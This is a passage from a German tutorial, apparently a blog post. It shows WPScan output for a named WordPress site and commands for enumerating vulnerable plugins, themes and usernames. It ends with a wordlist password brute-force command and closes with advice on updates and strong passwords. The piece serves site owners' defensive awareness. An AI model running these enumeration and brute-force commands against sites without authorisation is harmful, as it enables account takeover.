 |  Changelog: https://hagen.cocoate.com/wp-content/plugins/jetpack/changelog.txt

[+] Name: page-views-count - v1.3.2
 |  Latest version: 1.3.2 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/plugins/page-views-count/
 |  Readme: https://hagen.cocoate.com/wp-content/plugins/page-views-count/readme.txt

[+] Name: simple-flickr-widget - v1.0.1
 |  Latest version: 1.0.1 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/plugins/simple-flickr-widget/
 |  Readme: https://hagen.cocoate.com/wp-content/plugins/simple-flickr-widget/readme.txt

[+] Finished: Fri Jan 29 19:35:31 2016
[+] Requests Done: 57
[+] Memory used: 127.07 MB
[+] Elapsed time: 00:00:16

Du siehst, die Zusammensetzung deiner Website ist ziemlich transparent auslesbar.

Schwachstellen finden

Wenn du nur an den verwundbaren Plugins (vulnerable plugins) interessiert bist, sieht der Aufruf so aus:

ruby wpscan.rb --url http://yourwebsite.com --enumerate vp

die verwundbaren Themes (vulnerable themes) findest du mit diesem Befehl:

ruby wpscan.rb --url http://yourwebsite.com --enumerate vt

Benutznamen finden

Das Script findet meistens auch Benutzernamen und stellt sie in einer Tabelle dar. Hierzu benötigt man diesen Befehl:

ruby wpscan.rb --url http://yourwebsite.com --enumerate u

Die Ausgabe sieht beispielsweise so aus:

[+] Identified the following 3 user/s:
    +----+-----------+--------------+
    | Id | Login     | Name         |
    +----+-----------+--------------+
    | 1  | admin     | Dr. Meier    |
    | 2  | old_john  | Old_John     |
    | 3  | oliver    | Oliver Meier |
    +----+-----------+--------------+
[!] Default first WordPress username 'admin' is still used

Spätestens an dieser Stelle solltest du dir Gedanken über die Tatsache machen, dass auch unfreundliche Menschen solche Scripte nutzen.

Der nächste Schritt eines Angreifers wäre die Nutzung einer Datei mit Passworten um sich auf deiner Site anzumelden.

Der passende Befehl ist

ruby wpscan.rb --url http://yourwebsite.com --wordlist passwords.txt threads 50

und Listen mit Passworten findet man leicht im Netz.

Fazit

Es ist relativ einfach, Informationen über deine Website zu erhalten. Solche Scripte gibt es für viele gängige Content Management Systeme und es ist nicht kaum möglich, die Zugriffe effektiv zu verhindern, weil die Daten deiner Website öffentlich im Netz stehen und der Source Code des Scripts änderbar ist. Denke einfach über regelmässige Updates und sichere Passworte nach.

Links


tl;dr: WPScan zeigt Informationen über deine WordPress Installation und regt zum Nachdenken an.